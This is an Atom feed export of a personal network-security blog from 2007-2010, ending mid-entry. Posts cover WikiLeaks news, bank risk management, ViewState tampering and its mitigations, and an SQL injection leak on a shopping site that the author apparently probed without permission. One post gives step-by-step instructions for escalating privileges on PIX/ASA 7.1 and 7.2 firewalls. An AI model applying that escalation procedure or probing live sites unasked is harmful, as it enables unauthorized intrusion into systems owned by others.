<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2673681754036568683</id><updated>2012-02-13T23:11:45.084+08:00</updated><title type='text'>Taking Network Security to the Streets</title><subtitle type='html'>Street Security at its best.

"A well known hacker is a good hacker, an unknown hacker is a great hacker..."</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default?start-index=101&amp;max-results=100'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>158</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2175351412934613921</id><published>2010-12-15T22:37:00.000+08:00</published><updated>2010-12-15T22:37:14.597+08:00</updated><title type='text'>More WikiLeaks News</title><content type='html'>Pro WikiLeaks hacker group’s DDoS tool downloads top 40,000 (12/13/10)&lt;br /&gt;Imperva, the web security specialist, has reported that the tool released by the Anonymous Hacker Group for would-be WikiLeaks protesters has been downloaded over 40 000 times, with the majority of downloads occurring in the US. Imperva said there were three versions of the denial of service tool that members have been able to use:&lt;br /&gt;&lt;a href="http://www.infosecurity-magazine.com/view/14611/pro-wikileaks-hacker-groups-ddos-tool-downloads-top-40000/ "&gt;http://www.infosecurity-magazine.com/view/14611/pro-wikileaks-hacker-groups-ddos-tool-downloads-top-40000/ &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Anonymous attacks more websites, as second Dutch teenager is arrested in WikiLeaks saga (12/13/10)&lt;br /&gt;&lt;a href="http://www.infosecurity-us.com/view/14621/anonymous-attacks-more-websites-as-second-dutch-teenager-is-arrested-in-wikileaks-saga/ "&gt;http://www.infosecurity-us.com/view/14621/anonymous-attacks-more-websites-as-second-dutch-teenager-is-arrested-in-wikileaks-saga/ &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;WikiLeaks Imbroglio Renews Focus on Risk Management (12/13/10)&lt;br /&gt;&lt;a href="http://www.information-management.com/news/risk_management_data_storage_security_WikiLeaks-10019275-1.html"&gt;http://www.information-management.com/news/risk_management_data_storage_security_WikiLeaks-10019275-1.html&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;WikiLeaks-Related Spam Spotted (12/13/10)&lt;br /&gt;&lt;a href="http://blog.trendmicro.com/wikileaks-related-spam-spotted/ "&gt;http://blog.trendmicro.com/wikileaks-related-spam-spotted/ &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;UK.gov braces for possible Wikileaks hacklash (12/14/10)&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2010/12/14/wikileaks_hacklash/"&gt;http://www.theregister.co.uk/2010/12/14/wikileaks_hacklash/ &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2175351412934613921?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2175351412934613921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2175351412934613921' title='52 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2175351412934613921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2175351412934613921'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2010/12/more-wikileaks-news.html' title='More WikiLeaks News'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>52</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-503875928049552537</id><published>2010-12-14T22:37:00.002+08:00</published><updated>2010-12-15T07:58:41.630+08:00</updated><title type='text'>WikiLeaks</title><content type='html'>So Wikileaks recently made the news headlines on all major media. Companies with dirty secrets needs to be on extra vigilant and watch out for attacks. The next attack target, BAC??? Are controls and processes in place?? What mitigation techniques are effective? Let's monitor and watch for now. :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.thestreet.com/story/10945912/2/pr-pros-argue-bofa-needs-to-play-wikileaks-defense.html"&gt;Attacking BAC&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-503875928049552537?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/503875928049552537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=503875928049552537' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/503875928049552537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/503875928049552537'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2010/12/wikileaks.html' title='WikiLeaks'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2668970033386638576</id><published>2010-11-03T00:13:00.002+08:00</published><updated>2010-11-03T00:23:32.698+08:00</updated><title type='text'>XSS without Browser</title><content type='html'>To all Sec guys, I had been cracking my brain over these past 2 weeks thinking on how do i verify successful XSS attacks without using the browser. I know it sound absurd, but that's the way it is. All i have is pcap files available. From those pcap files, we can obviously search for those "script" word or other variants of XSS attacks by using regular expression. However, how do we know if an attempt is successfully executed or just false positive. Looking at the HTTP 200 response code, that will tell me that the attempt went through, but how do we know if we are truly exploited. Javascript maybe?&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2668970033386638576?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2668970033386638576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2668970033386638576' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2668970033386638576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2668970033386638576'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2010/11/xss-without-browser.html' title='XSS without Browser'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7948288148505299776</id><published>2008-08-18T10:40:00.004+08:00</published><updated>2008-08-18T11:02:53.816+08:00</updated><title type='text'>Better Risk Management for Banking Industry</title><content type='html'>With the recent identify theft cases that are happening around the banking industry, a new regulation is going to be implemented for counter fight identity theft. Effective November 1, 2008, all federally regulated banks, credit card companies and other financial institutions will be required to be in full compliance with the Identity Theft Red Flags Rule, which is designed to financial services firms protect consumers' identities.. The goal of the rules is to "flag" attempted and actual identity theft early, thereby reducing consequences associated with identity theft. &lt;br /&gt;&lt;br /&gt;Each institution's program must include policies and procedures for detecting, preventing and mitigating identity theft. Further, the program must set forth a list of red flag activities that signal possible identity theft and a response plan for when a flag is raised. In addition, each financial institution must update its program periodically to reflect changes in risks from identity theft and implement a risk management program as part of the ID Theft Red Flags regulation. &lt;br /&gt;&lt;br /&gt;8 tips for a Better Risk Management:&lt;br /&gt;&lt;br /&gt;1. Assess in detail the different products and service offering of a financial institution, and review which red flags and level of risk is applicable for that particular product or service offer for example, - "credit cards" need high level of monitoring as well as pose high risk as fraudulent activities are most likely.&lt;br /&gt;&lt;br /&gt;2. Streamline automation and manual checks for red flag items where necessary. &lt;br /&gt;&lt;br /&gt;3. Focus on the different channels through which these products and services are provided to end users. For example, online access over the internet is more risky when compared to physically going to the bank.&lt;br /&gt;&lt;br /&gt;4. Spend different amount of attention on each product and service offering based on risk factor. High risk demands more attention.&lt;br /&gt;&lt;br /&gt;5. Study the historical data of an institution for identifying fraud activities, patterns etc. &lt;br /&gt;&lt;br /&gt;6. Integrate risk management to current security and privacy programs by adopting similar approach for conducting risk assessments for different departments within the enterprise and leveraging data from these individual risk assessments to another. This will help identify clearly which regulation has directly focused on the risk or red flag action item, without duplicating effort, then attacking and placing checks on the ones that are relevant.&lt;br /&gt;&lt;br /&gt;7. Do not depend totally on the vendor or service bureau for putting checks and conducting their own risk assessment. Instead have a thorough risk assessment program initiated and implemented by the financial institution for its different service bureaus to ensure full proof check and updates.&lt;br /&gt;&lt;br /&gt;8. Appoint a key person to take charge and ownership of the risk management process. This person will initiate annual risk program effectiveness, adopt a revision process, monitor and constantly analyze current industry situations and risk profile, appoint a committee for ensuring that appropriate program is deployed, making and proposing changes etc. &lt;br /&gt;Upasana&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7948288148505299776?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7948288148505299776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7948288148505299776' title='289 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7948288148505299776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7948288148505299776'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2008/08/better-risk-management-for-banking.html' title='Better Risk Management for Banking Industry'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>289</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7094542992146202228</id><published>2008-08-18T08:06:00.009+08:00</published><updated>2008-08-20T15:43:22.921+08:00</updated><title type='text'>How to hack a Bank part 1?</title><content type='html'>This is going to be a very sensitive topic for the Banking industry, however I am not going to post any exploits or vulnerabilities of how to hack a bank, instead a high level overview of how to gain money from a bank. I am not going to write a long article on this as the story might go on and on. &lt;br /&gt;&lt;br /&gt;Several months back, i was performing a penetration test for a large bank here. Although it was only a web penetration test, i was already starting to observe the banking environment, the technology used, the physical environment, their partners, ATM etc, to see if loopholes can discovered. Everyday at the bank, i made new friends and started talking to them to learn more about the banking environment and the job nature. At the end of the penetration test, I was thinking to publish an article of how to hack a bank, however, its either i am too lazy to do so or i can't be bothered. Today, I just feel like writing an article on it, just a sudden urge to do so.&lt;br /&gt;&lt;br /&gt;In early days, the banking environment used to be a simple and closed environment whereby the only way to hack the bank is to rob the bank. There were no ATMs, no internet banking, no huge and complicated networks. To withdraw any money, the only way is to go to the bank's branch and fill up the withdraw form and provide your bank account passbook for updating purposes and the money is given to you. Mainframe is the backend system that does all the processing of the transactions, i think until this very day, it still prevails. Today, we are more advanced. We have internet banking without the need of any passbooks, we have ATMs, Credit and Debit cards, complex networks to interconnect multiple systems together, we have cash deposit machines, huge variations of databases and partners that might house the bank's data/information. So you see, it used to be maybe one or two doors opened. Today however, many possibilities are possible because of multiple doors being opened. We still have not factored in the physical site and environment. You might be surprise that this is one of the most easiest way to enter the bank.&lt;br /&gt;&lt;br /&gt;A lot of people might think that hacking the bank is a tough job due to its tight security and controls, but you might be surprise that sometimes the weakest link is actually the easiest link. Stay tuned for part 2.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Disclaimer: The materials and information here are solely for educational purpose only. Do not attempt to hack a bank with knowledge acquired. Do not try at any bank.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7094542992146202228?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7094542992146202228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7094542992146202228' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7094542992146202228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7094542992146202228'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2008/08/how-to-hack-bank-part-1.html' title='How to hack a Bank part 1?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2111924034139519017</id><published>2008-05-12T16:28:00.003+08:00</published><updated>2008-07-28T20:13:44.607+08:00</updated><title type='text'>Yet Another SQL injection</title><content type='html'>I was boring the other day, so here i am again toying and playing with SQL injection. Wow, for this particular site, not only they did not turn off debugging, they also allow me to view other very juicy information. I must say if i am determined to hack the site, i can successful grab lotsa juicy information. Not only that, because it is a online shopping site, i can change information and buy things at a much much cheaper price. Check out the information leakage!!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp1.blogger.com/_Zx8XWzC_KPQ/SCgEy2F0DdI/AAAAAAAAAgo/TOhMdDUO2l4/s1600-h/leak1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_Zx8XWzC_KPQ/SCgEy2F0DdI/AAAAAAAAAgo/TOhMdDUO2l4/s400/leak1.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5199411041359105490" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/SCgEzWF0DeI/AAAAAAAAAgw/Z9fBV1KDt2Y/s1600-h/leak2.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/SCgEzWF0DeI/AAAAAAAAAgw/Z9fBV1KDt2Y/s400/leak2.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5199411049949040098" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/SCgEzmF0DfI/AAAAAAAAAg4/C--mjhx0-0A/s1600-h/leak3.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/SCgEzmF0DfI/AAAAAAAAAg4/C--mjhx0-0A/s400/leak3.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5199411054244007410" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2111924034139519017?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2111924034139519017/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2111924034139519017' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2111924034139519017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2111924034139519017'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2008/05/yet-another-sql-injection.html' title='Yet Another SQL injection'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_Zx8XWzC_KPQ/SCgEy2F0DdI/AAAAAAAAAgo/TOhMdDUO2l4/s72-c/leak1.JPG' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4873122251028581801</id><published>2008-04-03T14:41:00.002+08:00</published><updated>2008-04-03T15:33:09.464+08:00</updated><title type='text'>Scanless PCI, Hurray</title><content type='html'>Sometime ago, i mentioned something about PCI and its credibility. In short i was saying that are all those PCI certified companies safe from attacks just because they are PCI certified? Today we witnessed something better, more cost effective, faster, least intrusive and for the best part? It does not even cost a single cent as compared to hackersafe or qualys, unless you subscribe for additinal service. Well, i had not personally register for the service, but i guess it will be much more proficient with the current pci standards. The setup up is simple, just copy and paste the codes to your side and that will do it. Check out&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.scanlesspci.com"&gt;http://www.scanlesspci.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/R_SH--nqacI/AAAAAAAAAgA/eT4cXcZexOM/s1600-h/pci.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/R_SH--nqacI/AAAAAAAAAgA/eT4cXcZexOM/s400/pci.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5184918587041278402" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4873122251028581801?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4873122251028581801/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4873122251028581801' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4873122251028581801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4873122251028581801'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2008/04/scanless-pci-hurray.html' title='Scanless PCI, Hurray'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_Zx8XWzC_KPQ/R_SH--nqacI/AAAAAAAAAgA/eT4cXcZexOM/s72-c/pci.bmp' height='72' width='72'/><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1405226493513082027</id><published>2008-01-30T15:10:00.000+08:00</published><updated>2008-01-30T16:10:25.326+08:00</updated><title type='text'>PIX/ASA Finesse 7.1 &amp; 7.2 Privilege Escalation</title><content type='html'>I was trying to get into admin mode without the enable password during a penetration test and i came across a post by Terry where he describes a designing flaw in the PIX/ASA Finesse Operation System, version 7.1 and 7.2. Well, it was possible to escalate a normal level 0 user to a level 15 privilege user. The exploit is simple and it only works locally, at the console and remotely with Telnet. However, do note that it will &lt;strong&gt;NOT &lt;/strong&gt;work if SSH, TACACS or Radius is implemented in the firewall. Below are the steps.&lt;br /&gt;&lt;br /&gt;1. Login with your user level 0 account. Once logon, you will be prompted to enter the enable password which is the privilege password.&lt;br /&gt;&lt;br /&gt;2. At this prompt if you move your cursor forward with a space or character(it doesn't matter if there are more then one), and then proceed to delete any spaces or characters, by holding down the backspace a second after deleting the last character it should immediately drop you into level 15 privilege-exec mode. &lt;br /&gt;&lt;br /&gt;It had been tested on PIX 515E, Finesse version 7.2 and i had also tested it on the  PIX 525.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1405226493513082027?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1405226493513082027/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1405226493513082027' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1405226493513082027'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1405226493513082027'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2008/01/pixasa-finesse-71-72-privilege.html' title='PIX/ASA Finesse 7.1 &amp; 7.2 Privilege Escalation'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-5485225735817763062</id><published>2008-01-16T14:03:00.000+08:00</published><updated>2008-01-16T14:19:07.251+08:00</updated><title type='text'>Web Attacker Toolkit</title><content type='html'>Sorry for the lack of updates. Been roaming around for the past 2 months and felt a little lazy in updating my blog. i was reading news on the internet today and i read something about a hacking toolkit that was able to compromise thousands of webservers and that caught my attention. Well, apparently the tool called the "Web Attacker Toolkit" can be bought from the Russian hacking group called Inex-Lux for a cheap price. All unpatched IE and Firefox browsers can be compromised, with a trojan silently being installed into the local PC without user knowing it. Once a trojan is installed, the game is over. After reading the news, of course i have upgraded my IE and my Firefox to the latest version to avoid any exploitation. Check out those three links below:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.informationweek.com/news/showArticle.jhtml?articleID=186700539"&gt;http://www.informationweek.com/news/showArticle.jhtml?articleID=186700539&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.websense.com/securitylabs/alerts/alert.php?AlertID=472"&gt;http://www.websense.com/securitylabs/alerts/alert.php?AlertID=472&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://informationweek.com/news/showArticle.jhtml?articleID=205603044"&gt;http://informationweek.com/news/showArticle.jhtml?articleID=205603044&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-5485225735817763062?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/5485225735817763062/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=5485225735817763062' title='47 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5485225735817763062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5485225735817763062'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2008/01/web-attacker-toolkit.html' title='Web Attacker Toolkit'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>47</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-929751356444362472</id><published>2007-12-02T18:31:00.000+08:00</published><updated>2007-12-03T10:18:47.378+08:00</updated><title type='text'>.NET ViewState vulnerable to manipulation exploits</title><content type='html'>This past week i had a chance to audit a customer who is using microsoft's viewstate. So what is ViewState and why is it vulnerable? Well, ViewState is an ASP.NET feature that allows you to persist form properties when a page posts back to itself. ASP.NET takes the current state of all form controls and stores them as an encoded string in a hidden form field. The risk of View State is that an attacker might be able to view or modify these form values to accomplish a variety of attacks. So, the question is how do you modify and view the values in ViewState? To do so, you can download PortSwigger's latest burp proxy to accomplish the task of neccessary manipulation. View State appears in the HTML source as a hidden form field and it is using base64 encoding. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_Zx8XWzC_KPQ/R1KVNVwdbuI/AAAAAAAAAf4/ljyOi2mer4U/s1600-R/viewstate2.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_Zx8XWzC_KPQ/R1KVNVwdbuI/AAAAAAAAAf4/0NRjgYjSpLc/s400/viewstate2.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5139334181194395362" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The latest version of burp proxy allows you to decode ViewState's base64 algorithm and view the clear contents inside, or you can also download ViewState decoder from Fritz Onion to ONLY view the contents inside. Check out the both links below:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.dotnetspider.com/tools/ShowTool.aspx?ToolId=378"&gt;http://www.dotnetspider.com/tools/ShowTool.aspx?ToolId=378&lt;/a&gt;&lt;br /&gt;&lt;a href="http://blog.portswigger.net/2007/06/viewstate-snooping.html"&gt;http://blog.portswigger.net/2007/06/viewstate-snooping.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Because the customer is using some sort of VPN, i was unable to use PortSwigger's burp proxy for what ever reason. However, i managed to decode the ViewState using Viewstate Decoder. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/R1KP2lwdbtI/AAAAAAAAAfw/mPysGUuKKko/s1600-R/viewstate.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/R1KP2lwdbtI/AAAAAAAAAfw/ryIjTWbOxIQ/s400/viewstate.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5139328292794232530" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To prevent attackers from manipulating View State, you can include a message authentication code (MAC). A MAC is essentially a hash of the data that ensures its integrity. You can enable the View State MAC on the machine, application, or page level. You can enable the MAC wherever you enable View State with this attribute:&lt;br /&gt;enableViewStateMac="true"&lt;br /&gt;&lt;br /&gt;To truly make sure ViewState is secured, you will need to encrypt the data with ViewStateEncryptionMode property set to true. This will prevent attackers from decoding and viewing data inside viewstate. To read more about ViewState security, check out the msdn link below:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn2.microsoft.com/en-us/library/ms178199.aspx"&gt;http://msdn2.microsoft.com/en-us/library/ms178199.aspx&lt;/a&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/msdnmag/issues/03/02/CuttingEdge/"&gt;http://msdn.microsoft.com/msdnmag/issues/03/02/CuttingEdge/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-929751356444362472?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/929751356444362472/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=929751356444362472' title='191 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/929751356444362472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/929751356444362472'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/12/net-viewstate-vulnerable-manipulation.html' title='.NET ViewState vulnerable to manipulation exploits'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_Zx8XWzC_KPQ/R1KVNVwdbuI/AAAAAAAAAf4/0NRjgYjSpLc/s72-c/viewstate2.JPG' height='72' 